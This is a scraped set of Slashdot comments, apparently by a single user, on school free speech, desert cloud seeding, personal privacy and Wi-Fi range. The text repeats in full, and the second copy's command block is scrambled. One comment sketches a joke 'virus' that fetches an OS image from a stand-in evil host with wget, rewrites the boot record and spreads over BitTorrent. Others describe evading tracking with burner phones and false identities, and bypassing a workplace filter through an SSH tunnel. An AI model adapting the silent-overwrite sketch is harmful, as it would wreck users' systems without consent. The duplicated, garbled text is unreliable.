Well, it can be argued that almost none of the US Constitution applies any more. In the 200 some years since it was written laws and court decisions have adjusted the Constitution so it barely applies anywhere. That's one of the major problems with America today. We started with a good foundation, but so many holes have been poked in it since then that our current laws are barely recognizable.
You can't make an omelet without breaking a few eggs.
Seriously though, I agree. That was most of my argument. There could be good things that come from it, but it would come at an extreme cost.
Something interesting to consider is the geological past of the areas I cited. Ending about 65 million years ago, the Western Interior Seaway was the Eastern border to that region. The west coast of the United States was one giant island. In the deserts now, we frequently find fossil remains of a variety of plant and animal life. We'd be reversing millions of years of adaptations by plant and animal life in a few short years. That would, for the most part, result in the death of natural life that expects that kind of environment to survive.
Then again, we dictate what plants grow where all the time. Look at any farm. You wouldn't naturally have vast spans of farmland with select crops growing. You wouldn't have herds of cattle waiting for slaughter. Even in these, they have been genetically modified (through selective breeding) over centuries. So humans pushing our agenda on nature isn't unheard of, or even unusual, it's what we do.
Others have gone into more detail on the ways the SCOTUS has protected (and trampled at times) constitutional rights. Basically, you do not wave your constitutional rights by walking into a school, but there have been exceptions.
The government threat is highly over rated. It takes raising a pretty big red flag for them to start gathering information. You have to consider, if you're only looking at people in the US (citizens, visitors, and immigrants pending citizenship), that's an awful large pool to be seen in. If you or I got their attention, we'd have to be doing something way more significant than millions of others.
I already know I have files with at least a few government agencies. At one of them, it should be fairly thick (probably 100 pages) by now. I've been considering doing a FIOA request on myself just to see what it says. Mostly it's fingerprints, background requests, etc, etc. Very amazingly mundane stuff.
In dealing with the gov't a bit, I'm confident that their systems aren't tied together as well as people think. A random FBI agent isn't going to just click a button and pull your DMV record, tax history, phone call history, cell phone location (GPS or closest tower), credit card usages, etc. While it would make their lives a lot easier, there's stacks of paperwork involved, and people to request the info from. Not that it can't happen, but boring people like you and I will never justify the expense in man hours.
I actually wouldn't mind the gov't finding me. I told them I want to work with them. They couldn't confirm my history (because I float around a lot), so if they do find me, it will be because they realize that they really do want me.:)
The rest of the list is your normal user. Myself, I'm mostly under the radar on all points. My cell phone points towards an old maildrop. My cell phone is frequently off, and sometimes left behind somewhere but turned on, and I pick up a new prepaid one with bogus information. You gotta love throw-away phones. My home address... well... doesn't exist. I'm living on the goodness of others (do you have a spare room? Can I borrow it for a couple weeks?). My "important" mail gets delivered to any of a half dozen different places, with people I trust to open it and read it to me, or email me the details. I'm planning on becoming even more mobile, with even more remote places to be. As it is now, if friends find me, they usually ask "What state (or country) are you in?", since friends frequently don't know precisely where I am. Can I come over for a beer, or am I a couple thousand miles away, headed the wrong way. Even information on social networking sites contains bogus information. You can't even place my DOB, since there are 3 common ones that I use, and none are accurate.:) Some people have thought they've found my real name, which is just that much funnier, since they'll come up with yet another alias that I've put out there. My real name comes up with so many hits it isn't even funny. I didn't realize how many of "me" there are.:) In searching, it never comes up with the real me. Sometimes I swap cars with friends, just for the sake of doing it. I haven't driven my car in months, but someone else has been. They have a signed letter of authorization for use of my vehicle, in case things get touchy.
I'm not paranoid. I'm just entertained with blending into the chaos.:)
I think next week I'll be in Manhattan. Maybe physically. Maybe just according to all my information.
I would think such a thing may be possible. It shouldn't require any MS code at all. I'm not quite sure how the juggling act would go between filesystems, unless you made a filesystem file and ran the OS from there, but accessed the old files with something like ntfs-3g. You could probably do it using a static compiled binary under cygwin. Since it's static, it should be portable to target machines. Then you could do something like...
cd /
dd if=/dev/zero of=/linux_filesystem bs=1024 count=100000
mkdir/linux
mke2fs -j/linux_filesystem
mount/linux_filesystem/linux
wget http://my_evil.example.com/full_os.tar.gz
cd linux
tar xvpzf../full_os.tar.gz./bin/configure_os
lilo
reboot
Inside full_os.tar.gz, the desktop, "My Documents", etc, could be linked to the old NTFS partition. No actual damage would have been done other than rewriting the MBR with a bit of initrd black magic to mount up the virtual filesystem as root, with every driver that could be run into, or at least a complete suite of network drivers and the OS could fix the rest at boot time.
full_os.tar.gz would have to be already fully customized to have the appearance of the infected host machine, so you'd likely have copies for WinXP, Win2k, WinVista, and Win7.
configure_os would need to read the existing network environment to either set the IP's static, or allow DHCP to handle it, depending on the users existing configuration.
Of course, by pulling down the file with wget, that opens up a whole can of worms. Now, if it had an include Bittorrent client, you could just use an existing torrent file (bundled within) and pull the OS file from peers, which would be much faster if it actually spread into the wild. I can't imagine any server (or server farm) would appreciate 1,000,000 simultaneous users downloading a full Linux install, even if gzipped. But, if every machine kept seeding, it would make the whole operation very smooth.:)
It would be funny if people discovered Linux really is a worthwhile OS for their needs, and they've just been afraid to use it. That's 99% of the folks out there. (The remaining 1% run Windows-only apps, who would be frustrated).
I haven't thought too much about this, and it is 2:30am, so there are plenty of implausible holes in that idea. And like I said before, there's no way I'd actually do it, since I don't really like jail time.
There are bigger things to worry about than Facebook.
Privacy threats on the Internet, in order of risk (IMHO) are:
1) The computer user. Why are you using the same password for everything including your bank, and why is it "FluffyBottoms123"? I love your new MSIE toolbar though.
2) Malware on the PC.
3) Admins sniffing in/out LAN traffic (mostly office environments). Don't be surprised when you get fired for downloading porn, they are watching.
4) ISP Admins sniffing in/out WAN traffic (by design or by malicious admin with too much access).
5) Webmail hosting providers (Gmail, Hotmail, Yahoo! mail, etc). Your primary email is key to everything you do online, and just because you deleted that message doesn't mean it really went away.
6) Overzealous social networking providers (such as Facebook). OMG! Like they know who your BFF is since middle school, and that your mood is "happy like a little butterfly". {barf}
7) The government. The signal to noise ratio is so high even with the "secret" fat pipes going into government closets, they may never notice you.
8) The admin of that one porn site you frequently regularly to look for freaky porn. (keyword searches and access logs are an interesting place to search). Stop searching for "underage midget bestiality" already, and have another look at #3.
On #3, as soon as I learned that one place was doing content filtering, with the ability to log, I set up a PPP over SSH tunnel on an obscure port, and put my default route over it. Suddenly I don't surf the net at all, but there is a lot of encrypted traffic on port 31337. I blame streaming radio.:) I have nothing to hide, but I may not want to advertise everything I do. Almost anything can be construed as inappropriate. It all depends on how it's presented. Don't believe me? Sit in on a few open court sessions sometime. "Bob was helping the little boy across the street" is what the defense says. The prosecution says "Bob caressed his hand, as he walked the boy towards what police described as a place where the defendant obviously took young children, softened them up with candy, and had his way with them". (btw, the "candy" could be a single empty snickers wrapper from that last road trip Bob took).
Ya, but I wrote a virus that will overwrite a Windows install with Linux, while maintaining the desktop appearance. It watches for user inactivity and when it knows they should be sleeping, and does the migration for them.
My virus trumps his basic interpreter.:)
(Just kidding on the virus. It'd be a fun idea, but I don't like the idea of jail time.)
No, I think the expected results are pretty much a given. Being that Bill is in Seattle, but it's rainy there about 340 days of the year, he'll have the operation set up from San Diego to San Francisco.
The winds there tend to go East. So now you're sending what is great seeding for rain clouds over the desert Southwest United States.
I argued for cloud seeding and other methods for adding rainfall into the desert regions, which could make them more habitable. Freshwater rivers and lakes would be replenished. More plants would be able to grow. Several people pointed out that there is an existing and viable ecosystem there already. It's not as dense as we're used to seeing in forest areas, but it definitely exists.
Lets not forget what happens to Southern California when they get more than 3 days of rain in a row. The "Los Angeles River" (I quote that, and you'll understand why if you've ever seen it) becomes a fast moving deathtrap that frequently overruns its "banks", and sweeps the occasional car or kid into it. Mudslides wash away hills, houses, and even close interstates. That's always national news. So, instead of it happening occasionally, it would be a regular event. In time, we'd grow accustom to it, and people (the survivors) would migrate to safer areas. The mudslides would become less of a problem as the loose soil washes away and plants and trees begin to grow. Then again, the massive wildfires of Southern California would be less of a problem, since it would rain frequently.
With increased plant growth, our atmospheric CO2 levels would drop. Humidity in these areas would also rise, and non-native animals would migrate into these areas.
So, it sounds like a win-win situation, with the exception of the arid environment ecosystem which would be totally destroyed.
The problem with that is that we would essentially be terraforming significant areas. I know we haven't learned quite yet that man playing god isn't a great idea, as we're still very primitive (no offense, but we are). The bigger problem would be that to sustain the terraforming, the system would have to remain in place forever. Without the system, the area would return to its previous state. Since you'd eventually have vast woodlands where there was just desert before, that would die off, and a single wildfire would become a world wide disaster. Imagine an area consisting of New Mexico, Arizona, and Southern California burning. That little volcano pop in Iceland would be nothing in comparison.
I actually had a similar idea a while back, which would be more eco-friendly as you're suggesting. It would involve buoys and black plastic sheets. The sheets would sit maybe 1" under the water, to encourage evaporation. If the sheets were spread out, they wouldn't cause damage to the ecosystem below. So, maybe 1% coverage over 100 square miles is 1 square mile of increased evaporation and therefore more clouds and rain.
It takes a lot for evaporation to become a cloud though. It may be that all that would be created is just raised humidity in the area.
This already happens in coastal areas. Sea air is blown inland, and you can see the effects of it on cars and other metal objects.
My ex-mother-in-law moved to within a mile of the ocean. About 6 months later, she asked me to have a look at her car. I pointed out the corrosion on her wheels, which had not previously been there. It was very obvious on the side parked towards the water, and almost nonexistent on the other side. She always parked the same way in her spot, so it was obvious.
I don't agree with your language, but I will stand by you in the fact that you can say it.
The student you are referencing wouldn't be the "Bong Hits 4 Jesus" kid, would it? That wasn't a unanimous decision, it was 6-3 in favor of the school. Their reasoning was because it was promoting illegal activity. I don't agree with that, and obviously 3 of the justices didn't agree either. I started reading through the decision, but it's really long.
Unfortunately, events that have happened have tainted our legal system. That has made a huge set of exceptions.
I run a news site, and I am a supporter of free speech. A guy sends us emails about once a month with nude paintings of political figures. While I won't say he can't do it, I'm not going to run it on my site. It's not to say I'm censoring him. It's my site, and I make the decisions on what gets run. If I wanted nudity on my site, it would be a porn site. There's nothing newsworthy in the fact that he made the paintings. To make an exception for him means I'd have to run every submission by aspiring artists. If he wants it published online, he can (and does) have it on his own site.
Well, I'm some 30 years out of school, but no the US constitution applies to everyone in the United States.
Consider the 4th Amendment. The police can't just say "oh, he's a minor" or "oh, he's a foreign national" and disregard it. Well, on the second point, it's being more casually overlooked, but that's a completely different argument.
How about the 8th Amendment? Do the courts torture or kill minors who commit crimes? No, they fall under the same laws that we all do.
Or I guess more specifically, the 14th Amendment.
1. All persons born or naturalized in the United States, and subject to the jurisdiction thereof, are citizens of the United States and of the State wherein they reside. No State shall make or enforce any law which shall abridge the privileges or immunities of citizens of the United States; nor shall any State deprive any person of life, liberty, or property, without due process of law; nor deny to any person within its jurisdiction the equal protection of the laws.
I don't see in there anywhere the text "emancipated adults", nor any reference to age at all.
But let me guess, you're a teacher. If you teach any sort of American History, Civics, or Politics classes, you gloss over these little details, and/or add in your own verbiage as you see fit.
I have kids, AND I've dated women with school age children. If the school has tried to overstep their bounds, I've reminded them of exactly such. It's been very rare, but there is the occasional bad apple. Usually it's only taken a polite phone call to the principal to get the error straightened out. As a parent and parental figure, it's my job to protect my children from people like you.
I did one once with a panel and a parabolic antenna on Linksys AP's (802.11b) bridged. I asked a friend who did HAM radio stuff to figure out my max range, since I knew the power of the transmitters, gain of the antennas, and length of the cables. He said it'd be over 30 miles (48km), depending on line of sight. The panel was on the 10th floor of an office building, so it was just a matter of being able to see it.
That was in LA though, which 30 miles means you're going to be hitting hills somewhere, and "sight" is improbable at that kind of distance if you're below 1,500 feet AMSL due to pollution. One place I lived in was at 1,600' AMSL, which was interesting. Most of the time we were looking down on the brown cloud they call air, and up at blue skies. Sometimes it came up to us. Once in a great while it'd all blow out, and you could suddenly see for miles. Mind you, that was like 3 days of the 2 years I lived there. The first time it happened, I realized I had line of sight to the datacenter my equipment was at, so I started trying to find out about putting an antenna on the roof. That was more than pricey. I really wouldn't have minded a 54Mb/s connection to my house for free. 99% of my traffic was to/from work, so it would have been perfect.:)
Well, there's some noise surrounding a channel, but you really have to listen to the noise (i.e., with the appropriate software) and see what frequencies are being occupied. At my mom's house her wireless barely worked into the next room. It was set by the provider, which set all the other AP's in the area. It's a retirement area. They all get their service from one of two providers, and based on the SSID's, they all are from the same one. None of them change their settings.
I moved her router/AP from under her desk (beside a metal file cabinet) up to the top of the file cabinet and on top of a cardboard box (to get clearance over the fridge and microwave oven). I changed her channel to open space, and voila, everything worked better. Well, not just better, but I left the laptop running with the monitoring software accidentally (I'd never do such things on purpose, I promise), and found that her signal is strong to the end of the block now.:) It makes it nice when I go over to visit, I can use my laptop at her place, or her neighbors houses. Somehow I get volunteered to fix problems for the neighbors too. "They don't have much money, but can you help them?"
Damned testing AP's. This happened at one place I worked. I had to walk the whole floor with my laptop and do a survey to figure out where some where. A couple had been set up, put in a desk cabinet (while powered) and forgotten. The employee then left the company at some point, but the AP was still live. It was all fun and games until the rogue AP's started to conflict with the channels the bosses wanted to use. I asked pretty much everyone in the company "Do you know anything about these?" A few had a vague idea. "Ya, we used that a few years ago to test something." No one knew either the encryption key or the login password, so they got confiscated, reset, and redeployed later on. The hardest ones to find were a AP and a repeater. The AP was on top of a book shelf where you couldn't see it without climbing up on a chair. The repeater was jammed in behind a printer. It was a freakin' easter egg hunt. The general consensus was that it was there for some reason, but no one actually used it. I was told to leave it, even though no one knew how to use it. I eventually took them down, and reset them too.
A lot of it depends on the teacher and the god complex that they've grown over their years of teaching. "I am your teacher, this is my classroom, you must do what I say."
I remember in primary school (oh so many years ago) a teacher finally got in trouble for not allowing students to use the restroom during their class. Several students urinated on themselves or in their chairs, because they were afraid of the authority. That teacher had a much higher rate of "accidents" such as this, than any other teacher in the school.
Of course, being 30 years older, if I have to take a leak I'm going to stand up and walk to the restroom regardless of someone elses protests.
But back to the topic at hand, I used to bring candy and soda with me and sell it for profit.:) Nothing was ever said of it. I'd make a few dollars every day. It was a good business. I usually ran out of supplies before lunch, which seemed like a good profit for me.:)
Schools enforce any arbitrary rules that they want. I ran into 1st amendment problems in high school (freedom of the press). I was told "You can't do that.". I countered that with "The constitution says I can." They responded with "That doesn't matter, you're in our school, we say what the law is."
The local print media picked up the story, and then the school changed it's stance to "As long as his paper does not include libelous or defamatory content." Since we had stuck with running facts (mostly, I was just a teenager) interspersed with opinions, we were safe, but still told not to do it.
Food stuffs aren't constitutionally protected, as far as I know. Constitutionally protected items are ignored as they see fit.
I believe these rules come from school administration having been in their position for years without significant oversight unless an event such as these happen. They continue to extend their rules as they see fit without confirming the legality with anyone with a law background.
Oh god. I can imagine the horror. Sugar stuck all over her sinuses. Sneezing out sticky shit for the next few hours. Awful.
Please, think of the children. Outlaw the Fun Dip now!
Mmmm.. Now I want to go to the store and get some. I like dumping the sugar in my mouth and letting it dissolve, and then chewing on the sticks like beef jerky. Hello sugar buzz!:)
[JWSmythe realizes he's breathing nothing in the vacuum of space as the pod door opens. The last thing he does is give the finger to the satellite and then press the "Detonate Thermonuclear Device" button on his suit control]
Nice.:) Ya, you'll spend way more on the wife (hospital bills excluded) than you will on satellite equipment. I've never had any electronics say "I just spent $500 on shoes, hope you don't mind.", but I have heard the wife say "What do you mean you spent $200 on more toys?!"
My worst luck with those dishes wasn't it arbitrarily hitting people. It was in a fenced area. Ours got hit by lightning a few times, and the control motor died more often. Last time the motor died, I did find that I could hit one satellite with a lot of good stuff on it, if I propped up the dish on a small stack of milk crates. It stayed exclusively there for a few years, only being realigned after heavy storms. Then the magic of cable TV came to the neighborhood and all was solved. It was so much easier to use a single testchip in the cable box than it was to reenter the codes into the VideoCipher. My apologies if I got any of the terms wrong, I haven't had either in many years. I found there's more to life than TV.:)
Slashdot Mirror
That's called a bonus. Kinda of like Christmas in July. Well, except for the radiation poisoning.
Well, it can be argued that almost none of the US Constitution applies any more. In the 200 some years since it was written laws and court decisions have adjusted the Constitution so it barely applies anywhere. That's one of the major problems with America today. We started with a good foundation, but so many holes have been poked in it since then that our current laws are barely recognizable.
You can't make an omelet without breaking a few eggs.
Seriously though, I agree. That was most of my argument. There could be good things that come from it, but it would come at an extreme cost.
Something interesting to consider is the geological past of the areas I cited. Ending about 65 million years ago, the Western Interior Seaway was the Eastern border to that region. The west coast of the United States was one giant island. In the deserts now, we frequently find fossil remains of a variety of plant and animal life. We'd be reversing millions of years of adaptations by plant and animal life in a few short years. That would, for the most part, result in the death of natural life that expects that kind of environment to survive.
Then again, we dictate what plants grow where all the time. Look at any farm. You wouldn't naturally have vast spans of farmland with select crops growing. You wouldn't have herds of cattle waiting for slaughter. Even in these, they have been genetically modified (through selective breeding) over centuries. So humans pushing our agenda on nature isn't unheard of, or even unusual, it's what we do.
Are you sure I haven't had combat training?
Your list is flawed.
Public schools are a public institution.
The rest of your list are private establishments.
Others have gone into more detail on the ways the SCOTUS has protected (and trampled at times) constitutional rights. Basically, you do not wave your constitutional rights by walking into a school, but there have been exceptions.
The government threat is highly over rated. It takes raising a pretty big red flag for them to start gathering information. You have to consider, if you're only looking at people in the US (citizens, visitors, and immigrants pending citizenship), that's an awful large pool to be seen in. If you or I got their attention, we'd have to be doing something way more significant than millions of others.
I already know I have files with at least a few government agencies. At one of them, it should be fairly thick (probably 100 pages) by now. I've been considering doing a FIOA request on myself just to see what it says. Mostly it's fingerprints, background requests, etc, etc. Very amazingly mundane stuff.
In dealing with the gov't a bit, I'm confident that their systems aren't tied together as well as people think. A random FBI agent isn't going to just click a button and pull your DMV record, tax history, phone call history, cell phone location (GPS or closest tower), credit card usages, etc. While it would make their lives a lot easier, there's stacks of paperwork involved, and people to request the info from. Not that it can't happen, but boring people like you and I will never justify the expense in man hours.
I actually wouldn't mind the gov't finding me. I told them I want to work with them. They couldn't confirm my history (because I float around a lot), so if they do find me, it will be because they realize that they really do want me. :)
The rest of the list is your normal user. Myself, I'm mostly under the radar on all points. My cell phone points towards an old maildrop. My cell phone is frequently off, and sometimes left behind somewhere but turned on, and I pick up a new prepaid one with bogus information. You gotta love throw-away phones. My home address ... well ... doesn't exist. I'm living on the goodness of others (do you have a spare room? Can I borrow it for a couple weeks?). My "important" mail gets delivered to any of a half dozen different places, with people I trust to open it and read it to me, or email me the details. I'm planning on becoming even more mobile, with even more remote places to be. As it is now, if friends find me, they usually ask "What state (or country) are you in?", since friends frequently don't know precisely where I am. Can I come over for a beer, or am I a couple thousand miles away, headed the wrong way. Even information on social networking sites contains bogus information. You can't even place my DOB, since there are 3 common ones that I use, and none are accurate. :) Some people have thought they've found my real name, which is just that much funnier, since they'll come up with yet another alias that I've put out there. My real name comes up with so many hits it isn't even funny. I didn't realize how many of "me" there are. :) In searching, it never comes up with the real me. Sometimes I swap cars with friends, just for the sake of doing it. I haven't driven my car in months, but someone else has been. They have a signed letter of authorization for use of my vehicle, in case things get touchy.
I'm not paranoid. I'm just entertained with blending into the chaos. :)
I think next week I'll be in Manhattan. Maybe physically. Maybe just according to all my information.
I would think such a thing may be possible. It shouldn't require any MS code at all. I'm not quite sure how the juggling act would go between filesystems, unless you made a filesystem file and ran the OS from there, but accessed the old files with something like ntfs-3g. You could probably do it using a static compiled binary under cygwin. Since it's static, it should be portable to target machines. Then you could do something like...
cd / /linux /linux_filesystem /linux_filesystem /linux ../full_os.tar.gz ./bin/configure_os
dd if=/dev/zero of=/linux_filesystem bs=1024 count=100000
mkdir
mke2fs -j
mount
wget http://my_evil.example.com/full_os.tar.gz
cd linux
tar xvpzf
lilo
reboot
Inside full_os.tar.gz, the desktop, "My Documents", etc, could be linked to the old NTFS partition. No actual damage would have been done other than rewriting the MBR with a bit of initrd black magic to mount up the virtual filesystem as root, with every driver that could be run into, or at least a complete suite of network drivers and the OS could fix the rest at boot time.
full_os.tar.gz would have to be already fully customized to have the appearance of the infected host machine, so you'd likely have copies for WinXP, Win2k, WinVista, and Win7.
configure_os would need to read the existing network environment to either set the IP's static, or allow DHCP to handle it, depending on the users existing configuration.
Of course, by pulling down the file with wget, that opens up a whole can of worms. Now, if it had an include Bittorrent client, you could just use an existing torrent file (bundled within) and pull the OS file from peers, which would be much faster if it actually spread into the wild. I can't imagine any server (or server farm) would appreciate 1,000,000 simultaneous users downloading a full Linux install, even if gzipped. But, if every machine kept seeding, it would make the whole operation very smooth. :)
It would be funny if people discovered Linux really is a worthwhile OS for their needs, and they've just been afraid to use it. That's 99% of the folks out there. (The remaining 1% run Windows-only apps, who would be frustrated).
I haven't thought too much about this, and it is 2:30am, so there are plenty of implausible holes in that idea. And like I said before, there's no way I'd actually do it, since I don't really like jail time.
There are bigger things to worry about than Facebook.
Privacy threats on the Internet, in order of risk (IMHO) are:
1) The computer user. Why are you using the same password for everything including your bank, and why is it "FluffyBottoms123"? I love your new MSIE toolbar though.
2) Malware on the PC.
3) Admins sniffing in/out LAN traffic (mostly office environments). Don't be surprised when you get fired for downloading porn, they are watching.
4) ISP Admins sniffing in/out WAN traffic (by design or by malicious admin with too much access).
5) Webmail hosting providers (Gmail, Hotmail, Yahoo! mail, etc). Your primary email is key to everything you do online, and just because you deleted that message doesn't mean it really went away.
6) Overzealous social networking providers (such as Facebook). OMG! Like they know who your BFF is since middle school, and that your mood is "happy like a little butterfly". {barf}
7) The government. The signal to noise ratio is so high even with the "secret" fat pipes going into government closets, they may never notice you.
8) The admin of that one porn site you frequently regularly to look for freaky porn. (keyword searches and access logs are an interesting place to search). Stop searching for "underage midget bestiality" already, and have another look at #3.
On #3, as soon as I learned that one place was doing content filtering, with the ability to log, I set up a PPP over SSH tunnel on an obscure port, and put my default route over it. Suddenly I don't surf the net at all, but there is a lot of encrypted traffic on port 31337. I blame streaming radio. :) I have nothing to hide, but I may not want to advertise everything I do. Almost anything can be construed as inappropriate. It all depends on how it's presented. Don't believe me? Sit in on a few open court sessions sometime. "Bob was helping the little boy across the street" is what the defense says. The prosecution says "Bob caressed his hand, as he walked the boy towards what police described as a place where the defendant obviously took young children, softened them up with candy, and had his way with them". (btw, the "candy" could be a single empty snickers wrapper from that last road trip Bob took).
Nah, just put out floating nuclear reactors. Use the cooling towers as your water vaporization and launch facility. What could possibly go wrong. :)
Ya, but I wrote a virus that will overwrite a Windows install with Linux, while maintaining the desktop appearance. It watches for user inactivity and when it knows they should be sleeping, and does the migration for them.
My virus trumps his basic interpreter. :)
(Just kidding on the virus. It'd be a fun idea, but I don't like the idea of jail time.)
No, I think the expected results are pretty much a given. Being that Bill is in Seattle, but it's rainy there about 340 days of the year, he'll have the operation set up from San Diego to San Francisco.
The winds there tend to go East. So now you're sending what is great seeding for rain clouds over the desert Southwest United States.
I argued for cloud seeding and other methods for adding rainfall into the desert regions, which could make them more habitable. Freshwater rivers and lakes would be replenished. More plants would be able to grow. Several people pointed out that there is an existing and viable ecosystem there already. It's not as dense as we're used to seeing in forest areas, but it definitely exists.
Lets not forget what happens to Southern California when they get more than 3 days of rain in a row. The "Los Angeles River" (I quote that, and you'll understand why if you've ever seen it) becomes a fast moving deathtrap that frequently overruns its "banks", and sweeps the occasional car or kid into it. Mudslides wash away hills, houses, and even close interstates. That's always national news. So, instead of it happening occasionally, it would be a regular event. In time, we'd grow accustom to it, and people (the survivors) would migrate to safer areas. The mudslides would become less of a problem as the loose soil washes away and plants and trees begin to grow. Then again, the massive wildfires of Southern California would be less of a problem, since it would rain frequently.
With increased plant growth, our atmospheric CO2 levels would drop. Humidity in these areas would also rise, and non-native animals would migrate into these areas.
So, it sounds like a win-win situation, with the exception of the arid environment ecosystem which would be totally destroyed.
The problem with that is that we would essentially be terraforming significant areas. I know we haven't learned quite yet that man playing god isn't a great idea, as we're still very primitive (no offense, but we are). The bigger problem would be that to sustain the terraforming, the system would have to remain in place forever. Without the system, the area would return to its previous state. Since you'd eventually have vast woodlands where there was just desert before, that would die off, and a single wildfire would become a world wide disaster. Imagine an area consisting of New Mexico, Arizona, and Southern California burning. That little volcano pop in Iceland would be nothing in comparison.
Actually, some plants do. Those are the ones you'll see growing near the beach. They don't do so well with only fresh water.
But I won't argue against your idiocracy reference. :)
I actually had a similar idea a while back, which would be more eco-friendly as you're suggesting. It would involve buoys and black plastic sheets. The sheets would sit maybe 1" under the water, to encourage evaporation. If the sheets were spread out, they wouldn't cause damage to the ecosystem below. So, maybe 1% coverage over 100 square miles is 1 square mile of increased evaporation and therefore more clouds and rain.
It takes a lot for evaporation to become a cloud though. It may be that all that would be created is just raised humidity in the area.
This already happens in coastal areas. Sea air is blown inland, and you can see the effects of it on cars and other metal objects.
My ex-mother-in-law moved to within a mile of the ocean. About 6 months later, she asked me to have a look at her car. I pointed out the corrosion on her wheels, which had not previously been there. It was very obvious on the side parked towards the water, and almost nonexistent on the other side. She always parked the same way in her spot, so it was obvious.
I don't agree with your language, but I will stand by you in the fact that you can say it.
The student you are referencing wouldn't be the "Bong Hits 4 Jesus" kid, would it? That wasn't a unanimous decision, it was 6-3 in favor of the school. Their reasoning was because it was promoting illegal activity. I don't agree with that, and obviously 3 of the justices didn't agree either. I started reading through the decision, but it's really long.
Unfortunately, events that have happened have tainted our legal system. That has made a huge set of exceptions.
I run a news site, and I am a supporter of free speech. A guy sends us emails about once a month with nude paintings of political figures. While I won't say he can't do it, I'm not going to run it on my site. It's not to say I'm censoring him. It's my site, and I make the decisions on what gets run. If I wanted nudity on my site, it would be a porn site. There's nothing newsworthy in the fact that he made the paintings. To make an exception for him means I'd have to run every submission by aspiring artists. If he wants it published online, he can (and does) have it on his own site.
Well, I'm some 30 years out of school, but no the US constitution applies to everyone in the United States.
Consider the 4th Amendment. The police can't just say "oh, he's a minor" or "oh, he's a foreign national" and disregard it. Well, on the second point, it's being more casually overlooked, but that's a completely different argument.
How about the 8th Amendment? Do the courts torture or kill minors who commit crimes? No, they fall under the same laws that we all do.
Or I guess more specifically, the 14th Amendment.
I don't see in there anywhere the text "emancipated adults", nor any reference to age at all.
But let me guess, you're a teacher. If you teach any sort of American History, Civics, or Politics classes, you gloss over these little details, and/or add in your own verbiage as you see fit.
I have kids, AND I've dated women with school age children. If the school has tried to overstep their bounds, I've reminded them of exactly such. It's been very rare, but there is the occasional bad apple. Usually it's only taken a polite phone call to the principal to get the error straightened out. As a parent and parental figure, it's my job to protect my children from people like you.
60km? Nice. :)
I did one once with a panel and a parabolic antenna on Linksys AP's (802.11b) bridged. I asked a friend who did HAM radio stuff to figure out my max range, since I knew the power of the transmitters, gain of the antennas, and length of the cables. He said it'd be over 30 miles (48km), depending on line of sight. The panel was on the 10th floor of an office building, so it was just a matter of being able to see it.
That was in LA though, which 30 miles means you're going to be hitting hills somewhere, and "sight" is improbable at that kind of distance if you're below 1,500 feet AMSL due to pollution. One place I lived in was at 1,600' AMSL, which was interesting. Most of the time we were looking down on the brown cloud they call air, and up at blue skies. Sometimes it came up to us. Once in a great while it'd all blow out, and you could suddenly see for miles. Mind you, that was like 3 days of the 2 years I lived there. The first time it happened, I realized I had line of sight to the datacenter my equipment was at, so I started trying to find out about putting an antenna on the roof. That was more than pricey. I really wouldn't have minded a 54Mb/s connection to my house for free. 99% of my traffic was to/from work, so it would have been perfect. :)
Well, there's some noise surrounding a channel, but you really have to listen to the noise (i.e., with the appropriate software) and see what frequencies are being occupied. At my mom's house her wireless barely worked into the next room. It was set by the provider, which set all the other AP's in the area. It's a retirement area. They all get their service from one of two providers, and based on the SSID's, they all are from the same one. None of them change their settings.
I moved her router/AP from under her desk (beside a metal file cabinet) up to the top of the file cabinet and on top of a cardboard box (to get clearance over the fridge and microwave oven). I changed her channel to open space, and voila, everything worked better. Well, not just better, but I left the laptop running with the monitoring software accidentally (I'd never do such things on purpose, I promise), and found that her signal is strong to the end of the block now. :) It makes it nice when I go over to visit, I can use my laptop at her place, or her neighbors houses. Somehow I get volunteered to fix problems for the neighbors too. "They don't have much money, but can you help them?"
Damned testing AP's. This happened at one place I worked. I had to walk the whole floor with my laptop and do a survey to figure out where some where. A couple had been set up, put in a desk cabinet (while powered) and forgotten. The employee then left the company at some point, but the AP was still live. It was all fun and games until the rogue AP's started to conflict with the channels the bosses wanted to use. I asked pretty much everyone in the company "Do you know anything about these?" A few had a vague idea. "Ya, we used that a few years ago to test something." No one knew either the encryption key or the login password, so they got confiscated, reset, and redeployed later on. The hardest ones to find were a AP and a repeater. The AP was on top of a book shelf where you couldn't see it without climbing up on a chair. The repeater was jammed in behind a printer. It was a freakin' easter egg hunt. The general consensus was that it was there for some reason, but no one actually used it. I was told to leave it, even though no one knew how to use it. I eventually took them down, and reset them too.
A lot of it depends on the teacher and the god complex that they've grown over their years of teaching. "I am your teacher, this is my classroom, you must do what I say."
I remember in primary school (oh so many years ago) a teacher finally got in trouble for not allowing students to use the restroom during their class. Several students urinated on themselves or in their chairs, because they were afraid of the authority. That teacher had a much higher rate of "accidents" such as this, than any other teacher in the school.
Of course, being 30 years older, if I have to take a leak I'm going to stand up and walk to the restroom regardless of someone elses protests.
But back to the topic at hand, I used to bring candy and soda with me and sell it for profit. :) Nothing was ever said of it. I'd make a few dollars every day. It was a good business. I usually ran out of supplies before lunch, which seemed like a good profit for me. :)
Schools enforce any arbitrary rules that they want. I ran into 1st amendment problems in high school (freedom of the press). I was told "You can't do that.". I countered that with "The constitution says I can." They responded with "That doesn't matter, you're in our school, we say what the law is."
The local print media picked up the story, and then the school changed it's stance to "As long as his paper does not include libelous or defamatory content." Since we had stuck with running facts (mostly, I was just a teenager) interspersed with opinions, we were safe, but still told not to do it.
Food stuffs aren't constitutionally protected, as far as I know. Constitutionally protected items are ignored as they see fit.
I believe these rules come from school administration having been in their position for years without significant oversight unless an event such as these happen. They continue to extend their rules as they see fit without confirming the legality with anyone with a law background.
Oh god. I can imagine the horror. Sugar stuck all over her sinuses. Sneezing out sticky shit for the next few hours. Awful.
Please, think of the children. Outlaw the Fun Dip now!
Mmmm.. Now I want to go to the store and get some. I like dumping the sugar in my mouth and letting it dissolve, and then chewing on the sticks like beef jerky. Hello sugar buzz! :)
sudo {gasp}
[JWSmythe realizes he's breathing nothing in the vacuum of space as the pod door opens. The last thing he does is give the finger to the satellite and then press the "Detonate Thermonuclear Device" button on his suit control]
[Brilliant flash, then fade to black]
Nice. :) Ya, you'll spend way more on the wife (hospital bills excluded) than you will on satellite equipment. I've never had any electronics say "I just spent $500 on shoes, hope you don't mind.", but I have heard the wife say "What do you mean you spent $200 on more toys?!"
